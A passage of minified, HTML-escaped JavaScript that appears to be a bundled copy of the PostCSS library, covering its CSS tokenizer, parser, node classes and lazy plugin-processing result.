o.raws.before&lt;&quot;u&quot;&amp;&amp;(n.raws.before=o.raws.before.replace(/\S/g,&quot;&quot;)),n.parent=this.proxyOf,n))}prepend(...t){t=t.reverse();for(let o of t){let r=this.normalize(o,this.first,&quot;prepend&quot;).reverse();for(let n of r)this.proxyOf.nodes.unshift(n);for(let n in this.indexes)this.indexes[n]=this.indexes[n]+r.length}return this.markDirty(),this}push(t){return t.parent=this,this.proxyOf.nodes.push(t),this}removeAll(){for(let t of this.proxyOf.nodes)t.parent=void 0;return this.proxyOf.nodes=[],this.markDirty(),this}removeChild(t){t=this.index(t),this.proxyOf.nodes[t].parent=void 0,this.proxyOf.nodes.splice(t,1);let o;for(let r in this.indexes)o=this.indexes[r],o&gt;=t&amp;&amp;(this.indexes[r]=o-1);return this.markDirty(),this}replaceValues(t,o,r){return r||(r=o,o={}),this.walkDecls(n=&gt;{o.props&amp;&amp;!o.props.includes(n.prop)||o.fast&amp;&amp;!n.value.includes(o.fast)||(n.value=n.value.replace(t,r))}),this.markDirty(),this}some(t){return this.nodes.some(t)}walk(t){return this.each((o,r)=&gt;{let n;try{n=t(o,r)}catch(i){throw o.addToError(i)}return n!==!1&amp;&amp;o.walk&amp;&amp;(n=o.walk(t)),n})}walkAtRules(t,o){return o?t instanceof RegExp?this.walk((r,n)=&gt;{if(r.type===&quot;atrule&quot;&amp;&amp;t.test(r.name))return o(r,n)}):this.walk((r,n)=&gt;{if(r.type===&quot;atrule&quot;&amp;&amp;r.name===t)return o(r,n)}):(o=t,this.walk((r,n)=&gt;{if(r.type===&quot;atrule&quot;)return o(r,n)}))}walkComments(t){return this.walk((o,r)=&gt;{if(o.type===&quot;comment&quot;)return t(o,r)})}walkDecls(t,o){return o?t instanceof RegExp?this.walk((r,n)=&gt;{if(r.type===&quot;decl&quot;&amp;&amp;t.test(r.prop))return o(r,n)}):this.walk((r,n)=&gt;{if(r.type===&quot;decl&quot;&amp;&amp;r.prop===t)return o(r,n)}):(o=t,this.walk((r,n)=&gt;{if(r.type===&quot;decl&quot;)return o(r,n)}))}walkRules(t,o){return o?t instanceof RegExp?this.walk((r,n)=&gt;{if(r.type===&quot;rule&quot;&amp;&amp;t.test(r.selector))return o(r,n)}):this.walk((r,n)=&gt;{if(r.type===&quot;rule&quot;&amp;&amp;r.selector===t)return o(r,n)}):(o=t,this.walk((r,n)=&gt;{if(r.type===&quot;rule&quot;)return o(r,n)}))}get first(){if(this.proxyOf.nodes)return this.proxyOf.nodes[0]}get last(){if(this.proxyOf.nodes)return this.proxyOf.nodes[this.proxyOf.nodes.length-1]}};Os.registerParse=e=&gt;{fW=e};Os.registerRule=e=&gt;{s5=e};Os.registerAtRule=e=&gt;{a5=e};Os.registerRoot=e=&gt;{mW=e};gW.exports=Os;Os.default=Os;Os.rebuild=e=&gt;{e.type===&quot;atrule&quot;?Object.setPrototypeOf(e,a5.prototype):e.type===&quot;rule&quot;?Object.setPrototypeOf(e,s5.prototype):e.type===&quot;decl&quot;?Object.setPrototypeOf(e,uW.prototype):e.type===&quot;comment&quot;?Object.setPrototypeOf(e,dW.prototype):e.type===&quot;root&quot;&amp;&amp;Object.setPrototypeOf(e,mW.prototype),e[cW]=!0,e.nodes&amp;&amp;e.nodes.forEach(t=&gt;{Os.rebuild(t)})}});var vW=oe((zHe,kW)=&gt;{&quot;use strict&quot;;var j1=/[\t\n\f\r &quot;#&#039;()/;[\\\]{}]/g,U1=/[\t\n\f\r !&quot;#&#039;():;@[\\\]{}]|\/(?=\*)/g,X_e=/.[\r\n&quot;&#039;(/\\]/,bW=/[\da-f]/i;kW.exports=function(t,o={}){let r=t.css.valueOf(),n=o.ignoreErrors,i,s,a,c,u,d,f,m,h,p,g=r.length,b=0,v=[],k=[];function y(){return b}function S(I){throw t.error(&quot;Unclosed &quot;+I,b)}function x(){return k.length===0&amp;&amp;b&gt;=g}function C(I){if(k.length)return k.pop();if(b&gt;=g)return;let P=I?I.ignoreUnclosed:!1;switch(i=r.charCodeAt(b),i){case 10:case 32:case 9:case 13:case 12:{s=b;do s+=1,i=r.charCodeAt(s);while(i===32||i===10||i===9||i===13||i===12);p=[&quot;space&quot;,r.slice(b,s)],b=s-1;break}case 91:case 93:case 123:case 125:case 58:case 59:case 41:{let E=String.fromCharCode(i);p=[E,E,b];break}case 40:{if(m=v.length?v.pop()[1]:&quot;&quot;,h=r.charCodeAt(b+1),m===&quot;url&quot;&amp;&amp;h!==39&amp;&amp;h!==34&amp;&amp;h!==32&amp;&amp;h!==10&amp;&amp;h!==9&amp;&amp;h!==12&amp;&amp;h!==13){s=b;do{if(d=!1,s=r.indexOf(&quot;)&quot;,s+1),s===-1)if(n||P){s=b;break}else S(&quot;bracket&quot;);for(f=s;r.charCodeAt(f-1)===92;)f-=1,d=!d}while(d);p=[&quot;brackets&quot;,r.slice(b,s+1),b,s],b=s}else s=r.indexOf(&quot;)&quot;,b+1),c=r.slice(b,s+1),s===-1||X_e.test(c)?p=[&quot;(&quot;,&quot;(&quot;,b]:(p=[&quot;brackets&quot;,c,b,s],b=s);break}case 39:case 34:{a=i===39?&quot;&#039;&quot;:&#039;&quot;&#039;,s=b;do{if(d=!1,s=r.indexOf(a,s+1),s===-1)if(n||P){s=b+1;break}else S(&quot;string&quot;);for(f=s;r.charCodeAt(f-1)===92;)f-=1,d=!d}while(d);p=[&quot;string&quot;,r.slice(b,s+1),b,s],b=s;break}case 64:{j1.lastIndex=b+1,j1.test(r),j1.lastIndex===0?s=r.length-1:s=j1.lastIndex-2,p=[&quot;at-word&quot;,r.slice(b,s+1),b,s],b=s;break}case 92:{for(s=b,u=!0;r.charCodeAt(s+1)===92;)s+=1,u=!u;if(i=r.charCodeAt(s+1),u&amp;&amp;i!==47&amp;&amp;i!==32&amp;&amp;i!==10&amp;&amp;i!==9&amp;&amp;i!==13&amp;&amp;i!==12&amp;&amp;(s+=1,bW.test(r.charAt(s)))){for(;bW.test(r.charAt(s+1));)s+=1;r.charCodeAt(s+1)===32&amp;&amp;(s+=1)}p=[&quot;word&quot;,r.slice(b,s+1),b,s],b=s;break}default:{i===47&amp;&amp;r.charCodeAt(b+1)===42?(s=r.indexOf(&quot;*/&quot;,b+2)+1,s===0&amp;&amp;(n||P?s=r.length:S(&quot;comment&quot;)),p=[&quot;comment&quot;,r.slice(b,s+1),b,s],b=s):(U1.lastIndex=b+1,U1.test(r),U1.lastIndex===0?s=r.length-1:s=U1.lastIndex-2,p=[&quot;word&quot;,r.slice(b,s+1),b,s],v.push(p),b=s);break}}return b++,p}function B(I){k.push(I)}return{back:B,endOfFile:x,nextToken:C,position:y}}});var _W=oe((jHe,SW)=&gt;{&quot;use strict&quot;;var yW=rm(),Vh=class extends yW{constructor(t){super(t),this.type=&quot;atrule&quot;}append(...t){return this.proxyOf.nodes||(this.nodes=[]),super.append(...t)}prepend(...t){return this.proxyOf.nodes||(this.nodes=[]),super.prepend(...t)}};SW.exports=Vh;Vh.default=Vh;yW.registerAtRule(Vh)});var H1=oe((UHe,BW)=&gt;{&quot;use strict&quot;;var xW=rm(),wW,CW,Fu=class extends xW{constructor(t){super(t),this.type=&quot;root&quot;,this.nodes||(this.nodes=[])}normalize(t,o,r){let n=super.normalize(t);if(o){if(r===&quot;prepend&quot;)this.nodes.length&gt;1?o.raws.before=this.nodes[1].raws.before:delete o.raws.before;else if(this.first!==o)for(let i of n)i.raws.before=o.raws.before}return n}removeChild(t,o){let r=this.index(t);return!o&amp;&amp;r===0&amp;&amp;this.nodes.length&gt;1&amp;&amp;(this.nodes[1].raws.before=this.nodes[r].raws.before),super.removeChild(t)}toResult(t={}){return new wW(new CW,this,t).stringify()}};Fu.registerLazyResult=e=&gt;{wW=e};Fu.registerProcessor=e=&gt;{CW=e};BW.exports=Fu;Fu.default=Fu;xW.registerRoot(Fu)});var TW=oe((HHe,EW)=&gt;{&quot;use strict&quot;;var Oy={comma(e){return Oy.split(e,[&quot;,&quot;],!0)},space(e){let t=[&quot; &quot;,`
`,&quot;	&quot;];return Oy.split(e,t)},split(e,t,o){let r=[],n=&quot;&quot;,i=!1,s=0,a=!1,c=&quot;&quot;,u=!1;for(let d of e)u?u=!1:d===&quot;\\&quot;?u=!0:a?d===c&amp;&amp;(a=!1):d===&#039;&quot;&#039;||d===&quot;&#039;&quot;?(a=!0,c=d):d===&quot;(&quot;?s+=1:d===&quot;)&quot;?s&gt;0&amp;&amp;(s-=1):s===0&amp;&amp;t.includes(d)&amp;&amp;(i=!0),i?(n!==&quot;&quot;&amp;&amp;r.push(n.trim()),n=&quot;&quot;,i=!1):n+=d;return(o||n!==&quot;&quot;)&amp;&amp;r.push(n.trim()),r}};EW.exports=Oy;Oy.default=Oy});var RW=oe((GHe,PW)=&gt;{&quot;use strict&quot;;var IW=rm(),Q_e=TW(),Fh=class extends IW{constructor(t){super(t),this.type=&quot;rule&quot;,this.nodes||(this.nodes=[])}get selectors(){return Q_e.comma(this.selector)}set selectors(t){let o=this.selector?this.selector.match(/,\s*/):null,r=o?o[0]:&quot;,&quot;+this.raw(&quot;between&quot;,&quot;beforeOpen&quot;);this.selector=t.join(r)}};PW.exports=Fh;Fh.default=Fh;IW.registerRule(Fh)});var NW=oe((WHe,LW)=&gt;{&quot;use strict&quot;;var J_e=n5(),e0e=vW(),t0e=i5(),o0e=_W(),r0e=H1(),OW=RW(),AW={empty:!0,space:!0};function n0e(e){for(let t=e.length-1;t&gt;=0;t--){let o=e[t],r=o[3]||o[2];if(r)return r}}var l5=class{constructor(t){this.input=t,this.root=new r0e,this.current=this.root,this.spaces=&quot;&quot;,this.semicolon=!1,this.createTokenizer(),this.root.source={input:t,start:{column:1,line:1,offset:0}}}atrule(t){let o=new o0e;o.name=t[1].slice(1),o.name===&quot;&quot;&amp;&amp;this.unnamedAtrule(o,t),this.init(o,t[2]);let r,n,i,s=!1,a=!1,c=[],u=[];for(;!this.tokenizer.endOfFile();){if(t=this.tokenizer.nextToken(),r=t[0],r===&quot;(&quot;||r===&quot;[&quot;?u.push(r===&quot;(&quot;?&quot;)&quot;:&quot;]&quot;):r===&quot;{&quot;&amp;&amp;u.length&gt;0?u.push(&quot;}&quot;):r===u[u.length-1]&amp;&amp;u.pop(),u.length===0)if(r===&quot;;&quot;){o.source.end=this.getPosition(t[2]),o.source.end.offset++,this.semicolon=!0;break}else if(r===&quot;{&quot;){a=!0;break}else if(r===&quot;}&quot;){if(c.length&gt;0){for(i=c.length-1,n=c[i];n&amp;&amp;n[0]===&quot;space&quot;;)n=c[--i];n&amp;&amp;(o.source.end=this.getPosition(n[3]||n[2]),o.source.end.offset++)}this.end(t);break}else c.push(t);else c.push(t);if(this.tokenizer.endOfFile()){s=!0;break}}o.raws.between=this.spacesAndCommentsFromEnd(c),c.length?(o.raws.afterName=this.spacesAndCommentsFromStart(c),this.raw(o,&quot;params&quot;,c),s&amp;&amp;(t=c[c.length-1],o.source.end=this.getPosition(t[3]||t[2]),o.source.end.offset++,this.spaces=o.raws.between,o.raws.between=&quot;&quot;)):(o.raws.afterName=&quot;&quot;,o.params=&quot;&quot;),a&amp;&amp;(o.nodes=[],this.current=o)}checkMissedSemicolon(t){let o=this.colon(t);if(o===!1)return;let r=0,n;for(let i=o-1;i&gt;=0&amp;&amp;(n=t[i],!(n[0]!==&quot;space&quot;&amp;&amp;(r+=1,r===2)));i--);throw this.input.error(&quot;Missed semicolon&quot;,n[0]===&quot;word&quot;?n[3]+1:n[2])}colon(t){let o=0,r,n,i;for(let[s,a]of t.entries()){if(r=a,n=r[0],n===&quot;(&quot;&amp;&amp;(o+=1),n===&quot;)&quot;&amp;&amp;(o-=1),o===0&amp;&amp;n===&quot;:&quot;)if(!i)this.doubleColon(r);else{if(i[0]===&quot;word&quot;&amp;&amp;i[1]===&quot;progid&quot;)continue;return s}i=r}return!1}comment(t){let o=new t0e;this.init(o,t[2]),o.source.end=this.getPosition(t[3]||t[2]),o.source.end.offset++;let r=t[1].slice(2,-2);if(/^\s*$/.test(r))o.text=&quot;&quot;,o.raws.left=r,o.raws.right=&quot;&quot;;else{let n=r.match(/^(\s*)([^]*\S)(\s*)$/);o.text=n[2],o.raws.left=n[1],o.raws.right=n[3]}}createTokenizer(){this.tokenizer=e0e(this.input)}decl(t,o){let r=new J_e;this.init(r,t[0][2]);let n=t[t.length-1];for(n[0]===&quot;;&quot;&amp;&amp;(this.semicolon=!0,t.pop()),r.source.end=this.getPosition(n[3]||n[2]||n0e(t)),r.source.end.offset++;t[0][0]!==&quot;word&quot;;)t.length===1&amp;&amp;this.unknownWord(t),r.raws.before+=t.shift()[1];for(r.source.start=this.getPosition(t[0][2]),r.prop=&quot;&quot;;t.length;){let u=t[0][0];if(u===&quot;:&quot;||u===&quot;space&quot;||u===&quot;comment&quot;)break;r.prop+=t.shift()[1]}r.raws.between=&quot;&quot;;let i;for(;t.length;)if(i=t.shift(),i[0]===&quot;:&quot;){r.raws.between+=i[1];break}else i[0]===&quot;word&quot;&amp;&amp;/\w/.test(i[1])&amp;&amp;this.unknownWord([i]),r.raws.between+=i[1];(r.prop[0]===&quot;_&quot;||r.prop[0]===&quot;*&quot;)&amp;&amp;(r.raws.before+=r.prop[0],r.prop=r.prop.slice(1));let s=[],a;for(;t.length&amp;&amp;(a=t[0][0],!(a!==&quot;space&quot;&amp;&amp;a!==&quot;comment&quot;));)s.push(t.shift());this.precheckMissedSemicolon(t);for(let u=t.length-1;u&gt;=0;u--){if(i=t[u],i[1].toLowerCase()===&quot;!important&quot;){r.important=!0;let d=this.stringFrom(t,u);d=this.spacesFromEnd(t)+d,d!==&quot; !important&quot;&amp;&amp;(r.raws.important=d);break}else if(i[1].toLowerCase()===&quot;important&quot;){let d=t.slice(0),f=&quot;&quot;;for(let m=u;m&gt;0;m--){let h=d[m][0];if(f.trim().indexOf(&quot;!&quot;)===0&amp;&amp;h!==&quot;space&quot;)break;f=d.pop()[1]+f}f.trim().indexOf(&quot;!&quot;)===0&amp;&amp;(r.important=!0,r.raws.important=f,t=d)}if(i[0]!==&quot;space&quot;&amp;&amp;i[0]!==&quot;comment&quot;)break}t.some(u=&gt;u[0]!==&quot;space&quot;&amp;&amp;u[0]!==&quot;comment&quot;)&amp;&amp;(r.raws.between+=s.map(u=&gt;u[1]).join(&quot;&quot;),s=[]),this.raw(r,&quot;value&quot;,s.concat(t),o),r.value.includes(&quot;:&quot;)&amp;&amp;!o&amp;&amp;this.checkMissedSemicolon(t)}doubleColon(t){throw this.input.error(&quot;Double colon&quot;,{offset:t[2]},{offset:t[2]+t[1].length})}emptyRule(t){let o=new OW;this.init(o,t[2]),o.selector=&quot;&quot;,o.raws.between=&quot;&quot;,this.current=o}end(t){this.current.nodes&amp;&amp;this.current.nodes.length&amp;&amp;(this.current.raws.semicolon=this.semicolon),this.semicolon=!1,this.current.raws.after=(this.current.raws.after||&quot;&quot;)+this.spaces,this.spaces=&quot;&quot;,this.current.parent?(this.current.source.end=this.getPosition(t[2]),this.current.source.end.offset++,this.current=this.current.parent):this.unexpectedClose(t)}endFile(){this.current.parent&amp;&amp;this.unclosedBlock(),this.current.nodes&amp;&amp;this.current.nodes.length&amp;&amp;(this.current.raws.semicolon=this.semicolon),this.current.raws.after=(this.current.raws.after||&quot;&quot;)+this.spaces,this.root.source.end=this.getPosition(this.tokenizer.position())}freeSemicolon(t){if(this.spaces+=t[1],this.current.nodes){let o=this.current.nodes[this.current.nodes.length-1];o&amp;&amp;o.type===&quot;rule&quot;&amp;&amp;!o.raws.ownSemicolon&amp;&amp;(o.raws.ownSemicolon=this.spaces,this.spaces=&quot;&quot;)}}getPosition(t){let o=this.input.fromOffset(t);return{column:o.col,line:o.line,offset:t}}init(t,o){this.current.push(t),t.source={input:this.input,start:this.getPosition(o)},t.raws.before=this.spaces,this.spaces=&quot;&quot;,t.type!==&quot;comment&quot;&amp;&amp;(this.semicolon=!1)}other(t){let o=!1,r=null,n=!1,i=null,s=[],a=t[1].startsWith(&quot;--&quot;),c=[],u=t;for(;u;){if(r=u[0],c.push(u),r===&quot;(&quot;||r===&quot;[&quot;)i||(i=u),s.push(r===&quot;(&quot;?&quot;)&quot;:&quot;]&quot;);else if(a&amp;&amp;n&amp;&amp;r===&quot;{&quot;)i||(i=u),s.push(&quot;}&quot;);else if(s.length===0)if(r===&quot;;&quot;)if(n){this.decl(c,a);return}else break;else if(r===&quot;{&quot;){this.rule(c);return}else if(r===&quot;}&quot;){this.tokenizer.back(c.pop()),o=!0;break}else r===&quot;:&quot;&amp;&amp;(n=!0);else r===s[s.length-1]&amp;&amp;(s.pop(),s.length===0&amp;&amp;(i=null));u=this.tokenizer.nextToken()}if(this.tokenizer.endOfFile()&amp;&amp;(o=!0),s.length&gt;0&amp;&amp;this.unclosedBracket(i),o&amp;&amp;n){if(!a)for(;c.length&amp;&amp;(u=c[c.length-1][0],!(u!==&quot;space&quot;&amp;&amp;u!==&quot;comment&quot;));)this.tokenizer.back(c.pop());this.decl(c,a)}else this.unknownWord(c)}parse(){let t;for(;!this.tokenizer.endOfFile();)switch(t=this.tokenizer.nextToken(),t[0]){case&quot;space&quot;:this.spaces+=t[1];break;case&quot;;&quot;:this.freeSemicolon(t);break;case&quot;}&quot;:this.end(t);break;case&quot;comment&quot;:this.comment(t);break;case&quot;at-word&quot;:this.atrule(t);break;case&quot;{&quot;:this.emptyRule(t);break;default:this.other(t);break}this.endFile()}precheckMissedSemicolon(){}raw(t,o,r,n){let i,s,a=r.length,c=&quot;&quot;,u=!0,d,f;for(let m=0;m&lt;a;m+=1)i=r[m],s=i[0],s===&quot;space&quot;&amp;&amp;m===a-1&amp;&amp;!n?u=!1:s===&quot;comment&quot;?(f=r[m-1]?r[m-1][0]:&quot;empty&quot;,d=r[m+1]?r[m+1][0]:&quot;empty&quot;,!AW[f]&amp;&amp;!AW[d]?c.slice(-1)===&quot;,&quot;?u=!1:c+=i[1]:u=!1):c+=i[1];if(!u){let m=r.reduce((h,p)=&gt;h+p[1],&quot;&quot;);t.raws[o]={raw:m,value:c}}t[o]=c}rule(t){t.pop();let o=new OW;this.init(o,t[0][2]),o.raws.between=this.spacesAndCommentsFromEnd(t),this.raw(o,&quot;selector&quot;,t),this.current=o}spacesAndCommentsFromEnd(t){let o,r=&quot;&quot;;for(;t.length&amp;&amp;(o=t[t.length-1][0],!(o!==&quot;space&quot;&amp;&amp;o!==&quot;comment&quot;));)r=t.pop()[1]+r;return r}spacesAndCommentsFromStart(t){let o,r=&quot;&quot;;for(;t.length&amp;&amp;(o=t[0][0],!(o!==&quot;space&quot;&amp;&amp;o!==&quot;comment&quot;));)r+=t.shift()[1];return r}spacesFromEnd(t){let o,r=&quot;&quot;;for(;t.length&amp;&amp;(o=t[t.length-1][0],o===&quot;space&quot;);)r=t.pop()[1]+r;return r}stringFrom(t,o){let r=&quot;&quot;;for(let n=o;n&lt;t.length;n++)r+=t[n][1];return t.splice(o,t.length-o),r}unclosedBlock(){let t=this.current.source.start;throw this.input.error(&quot;Unclosed block&quot;,t.line,t.column)}unclosedBracket(t){throw this.input.error(&quot;Unclosed bracket&quot;,{offset:t[2]},{offset:t[2]+1})}unexpectedClose(t){throw this.input.error(&quot;Unexpected }&quot;,{offset:t[2]},{offset:t[2]+1})}unknownWord(t){throw this.input.error(&quot;Unknown word&quot;,{offset:t[0][2]},{offset:t[0][2]+t[0][1].length})}unnamedAtrule(t,o){throw this.input.error(&quot;At-rule without name&quot;,{offset:o[2]},{offset:o[2]+o[1].length})}};LW.exports=l5});var c5=oe(($He,MW)=&gt;{&quot;use strict&quot;;var i0e=rm(),s0e=NW(),a0e=ZD();function G1(e,t){let o=new a0e(e,t),r=new s0e(o);try{r.parse()}catch(n){throw n}return r.root}MW.exports=G1;G1.default=G1;i0e.registerParse(G1)});var VW=oe((KHe,DW)=&gt;{&quot;use strict&quot;;var Ay=class{constructor(t,o={}){if(this.type=&quot;warning&quot;,this.text=t,o.node&amp;&amp;o.node.source){let r=o.node.rangeBy(o);this.line=r.start.line,this.column=r.start.column,this.endLine=r.end.line,this.endColumn=r.end.column}for(let r in o)this[r]=o[r]}toString(){return this.node?this.node.error(this.text,{index:this.index,plugin:this.plugin,word:this.word}).message:this.plugin?this.plugin+&quot;: &quot;+this.text:this.text}};DW.exports=Ay;Ay.default=Ay});var u5=oe((YHe,FW)=&gt;{&quot;use strict&quot;;var l0e=VW(),Ly=class{constructor(t,o,r){this.processor=t,this.messages=[],this.root=o,this.opts=r,this.css=void 0,this.map=void 0}toString(){return this.css}warn(t,o={}){o.plugin||this.lastPlugin&amp;&amp;this.lastPlugin.postcssPlugin&amp;&amp;(o.plugin=this.lastPlugin.postcssPlugin);let r=new l0e(t,o);return this.messages.push(r),r}warnings(){return this.messages.filter(t=&gt;t.type===&quot;warning&quot;)}get content(){return this.css}};FW.exports=Ly;Ly.default=Ly});var jW=oe((ZHe,zW)=&gt;{&quot;use strict&quot;;var c0e=QD(),u0e=D1(),qHe=t5(),d0e=c5(),f0e=u5(),Ny=class{constructor(t,o,r){o=o.toString(),this.stringified=!1,this._processor=t,this._css=o,this._opts=r,this._map=void 0;let n,i=u0e;this.result=new f0e(this._processor,n,this._opts),this.result.css=o;let s=this;Object.defineProperty(this.result,&quot;root&quot;,{get(){return s.root}});let a=new c0e(i,n,this._opts,o);if(a.isMap()){let[c,u]=a.generate();c&amp;&amp;(this.result.css=c),u&amp;&amp;(this.result.map=u)}else a.clearAnnotation(),this.result.css=a.css}async(){return this.error?Promise.reject(this.error):Promise.resolve(this.result)}catch(t){return this.async().catch(t)}finally(t){return this.async().then(t,t)}sync(){if(this.error)throw this.error;return this.result}then(t,o){return this.async().then(t,o)}toString(){return this._css}warnings(){return[]}get content(){return this.result.css}get css(){return this.result.css}get map(){return this.result.map}get messages(){return[]}get opts(){return this.result.opts}get processor(){return this.result.processor}get root(){if(this._root)return this._root;let t,o=d0e;try{t=o(this._css,this._opts)}catch(r){this.error=r}if(this.error)throw this.error;return this._root=t,t}get[Symbol.toStringTag](){return&quot;NoWorkResult&quot;}};zW.exports=Ny;Ny.default=Ny});var d5=oe((XHe,GW)=&gt;{&quot;use strict&quot;;var m0e=rm(),UW,HW,nm=class extends m0e{constructor(t){super({type:&quot;document&quot;,...t}),this.nodes||(this.nodes=[])}toResult(t={}){return new UW(new HW,this,t).stringify()}};nm.registerLazyResult=e=&gt;{UW=e};nm.registerProcessor=e=&gt;{HW=e};GW.exports=nm;nm.default=nm});var qW=oe((JHe,YW)=&gt;{&quot;use strict&quot;;var{isClean:xa,my:p0e}=V1(),h0e=QD(),g0e=D1(),b0e=rm(),k0e=d5(),QHe=t5(),WW=u5(),v0e=c5(),y0e=H1(),S0e={atrule:&quot;AtRule&quot;,comment:&quot;Comment&quot;,decl:&quot;Declaration&quot;,document:&quot;Document&quot;,root:&quot;Root&quot;,rule:&quot;Rule&quot;},_0e={AtRule:!0,AtRuleExit:!0,Comment:!0,CommentExit:!0,Declaration:!0,DeclarationExit:!0,Document:!0,DocumentExit:!0,Once:!0,OnceExit:!0,postcssPlugin:!0,prepare:!0,Root:!0,RootExit:!0,Rule:!0,RuleExit:!0},x0e={Once:!0,postcssPlugin:!0,prepare:!0},zh=0;function My(e){return typeof e==&quot;object&quot;&amp;&amp;typeof e.then==&quot;function&quot;}function KW(e){let t=!1,o=S0e[e.type];return e.type===&quot;decl&quot;?t=e.prop.toLowerCase():e.type===&quot;atrule&quot;&amp;&amp;(t=e.name.toLowerCase()),t&amp;&amp;e.append?[o,o+&quot;-&quot;+t,zh,o+&quot;Exit&quot;,o+&quot;Exit-&quot;+t]:t?[o,o+&quot;-&quot;+t,o+&quot;Exit&quot;,o+&quot;Exit-&quot;+t]:e.append?[o,zh,o+&quot;Exit&quot;]:[o,o+&quot;Exit&quot;]}function $W(e){let t;return e.type===&quot;document&quot;?t=[&quot;Document&quot;,zh,&quot;DocumentExit&quot;]:e.type===&quot;root&quot;?t=[&quot;Root&quot;,zh,&quot;RootExit&quot;]:t=KW(e),{eventIndex:0,events:t,iterator:0,node:e,visitorIndex:0,visitors:[]}}function f5(e){return e[xa]=!1,e.nodes&amp;&amp;e.nodes.forEach(t=&gt;f5(t)),e}var m5={},zu=class e{constructor(t,o,r){this.stringified=!1,this.processed=!1;let n;if(typeof o==&quot;object&quot;&amp;&amp;o!==null&amp;&amp;(o.type===&quot;root&quot;||o.type===&quot;document&quot;))n=f5(o);else if(o instanceof e||o instanceof WW)n=f5(o.root),o.map&amp;&amp;(typeof r.map&gt;&quot;u&quot;&amp;&amp;(r.map={}),r.map.inline||(r.map.inline=!1),r.map.prev=o.map);else{let i=v0e;r.syntax&amp;&amp;(i=r.syntax.parse),r.parser&amp;&amp;(i=r.parser),i.parse&amp;&amp;(i=i.parse);try{n=i(o,r)}catch(s){this.processed=!0,this.error=s}n&amp;&amp;!n[p0e]&amp;&amp;b0e.rebuild(n)}this.result=new WW(t,n,r),this.helpers={...m5,postcss:m5,result:this.result},this.plugins=this.processor.plugins.map(i=&gt;typeof i==&quot;object&quot;&amp;&amp;i.prepare?{...i,...i.prepare(this.result)}:i)}async(){return this.error?Promise.reject(this.error):this.processed?Promise.resolve(this.result):(this.processing||(this.processing=this.runAsync()),this.processing)}catch(t){return this.async().catch(t)}finally(t){return this.async().then(t,t)}getAsyncError(){throw new Error(&quot;Use process(css).then(cb) to work with async plugins&quot;)}handleError(t,o){let r=this.result.lastPlugin;try{o&amp;&amp;o.addToError(t),this.error=t,t.name===&quot;CssSyntaxError&quot;&amp;&amp;!t.plugin?(t.plugin=r.postcssPlugin,t.setMessage()):r.postcssVersion}catch(n){console&amp;&amp;console.error&amp;&amp;console.error(n)}return t}prepareVisitors(){this.listeners={};let t=(o,r,n)=&gt;{this.listeners[r]||(this.listeners[r]=[]),this.listeners[r].push([o,n])};for(let o of this.plugins)if(typeof o==&quot;object&quot;)for(let r in o){if(!_0e[r]&amp;&amp;/^[A-Z]/.test(r))throw new Error(`Unknown event ${r} in ${o.postcssPlugin}. Try to update PostCSS (${this.processor.version} now).`);if(!x0e[r])if(typeof o[r]==&quot;object&quot;)for(let n in o[r])n===&quot;*&quot;?t(o,r,o[r][n]):t(o,r+&quot;-&quot;+n.toLowerCase(),o[r][n]);else typeof o[r]==&quot;function&quot;&amp;&amp;t(o,r,o[r])}this.hasListener=Object.keys(this.listeners).length&gt;0}async runAsync(){this.plugin=0;for(let t=0;t&lt;this.plugins.length;t++){let o=this.plugins[t],r=this.runOnRoot(o);if(My(r))try{await r}catch(n){throw this.handleError(n)}}if(this.prepareVisitors(),this.hasListener){let t=this.result.root;for(;!t[xa];){t[xa]=!0;let o=[$W(t)];for(;o.length&gt;0;){let r=this.visitTick(o);if(My(r))try{await r}catch(n){let i=o[o.length-1].node;throw this.handleError(n,i)}}}if(this.listeners.OnceExit)for(let[o,r]of this.listeners.OnceExit){this.result.lastPlugin=o;try{if(t.type===&quot;document&quot;){let n=t.nodes.map(i=&gt;r(i,this.helpers));await Promise.all(n)}else await r(t,this.helpers)}catch(n){throw this.handleError(n)}}}return this.processed=!0,this.stringify()}runOnRoot(t){this.result.lastPlugin=t;try{if(typeof t==&quot;object&quot;&amp;&amp;t.Once){if(this.result.root.type===&quot;document&quot;){let o=this.result.root.nodes.map(r=&gt;t.Once(r,this.helpers));return My(o[0])?Promise.all(o):o}return t.Once(this.result.root,this.helpers)}else if(typeof t==&quot;function&quot;)return t(this.result.root,this.result)}catch(o){throw this.handleError(o)}}stringify(){if(this.error)throw this.error;if(this.stringified)return this.result;this.stringified=!0,this.sync();let t=this.result.opts,o=g0e;t.syntax&amp;&amp;(o=t.syntax.stringify),t.stringifier&amp;&amp;(o=t.stringifier),o.stringify&amp;&amp;(o=o.stringify);let n=new h0e(o,this.result.root,this.result.opts).generate();return this.result.css=n[0],this.result.map=n[1],this.result}sync(){if(this.error)throw this.error;if(this.processed)return this.result;if(this.processed=!0,this.processing)throw this.getAsyncError();for(let t of this.plugins){let o=this.runOnRoot(t);if(My(o))throw this.getAsyncError()}if(this.prepareVisitors(),this.hasListener){let t=this.result.root;for(;!t[xa];)t[xa]=!0,this.walkSync(t);if(this.listeners.OnceExit)if(t.type===&quot;document&quot;)for(let o of t.nodes)this.visitSync(this.listeners.OnceExit,o);else this.visitSync(this.listeners.OnceExit,t)}return this.result}then(t,o){return this.async().then(t,o)}toString(){return this.css}visitSync(t,o){for(let[r,n]of t){this.result.lastPlugin=r;let i;try{i=n(o,this.helpers)}catch(s){throw this.handleError(s,o.proxyOf)}if(o.type!==&quot;root&quot;&amp;&amp;o.type!==&quot;document&quot;&amp;&amp;!o.parent)return!0;if(My(i))throw this.getAsyncError()}}visitTick(t){let o=t[t.length-1],{node:r,visitors:n}=o;if(r.type!==&quot;root&quot;&amp;&amp;r.type!==&quot;document&quot;&amp;&amp;!r.parent){t.pop();return}if(n.length&gt;0&amp;&amp;o.visitorIndex&lt;n.length){let[s,a]=n[o.visitorIndex];o.visitorIndex+=1,o.visitorIndex===n.length&amp;&amp;(o.visitors=[],o.visitorIndex=0),this.result.lastPlugin=s;try{return a(r.toProxy(),this.helpers)}catch(c){throw this.handleError(c,r)}}if(o.iterator!==0){let s=o.iterator,a;for(;a=r.nodes[r.indexes[s]];)if(r.indexes[s]+=1,!a[xa]){a[xa]=!0,t.push($W(a));return}o.iterator=0,delete r.indexes[s]}let i=o.events;for(;o.eventIndex&lt;i.length;){let s=i[o.eventIndex];if(o.eventIndex+=1,s===zh){r.nodes&amp;&amp;r.nodes.length&amp;&amp;(r[xa]=!0,o.iterator=r.getIterator());return}else if(this.listeners[s]){o.visitors=this.listeners[s];return}}t.pop()}walkSync(t){t[xa]=!0;let o=KW(t);for(let r of 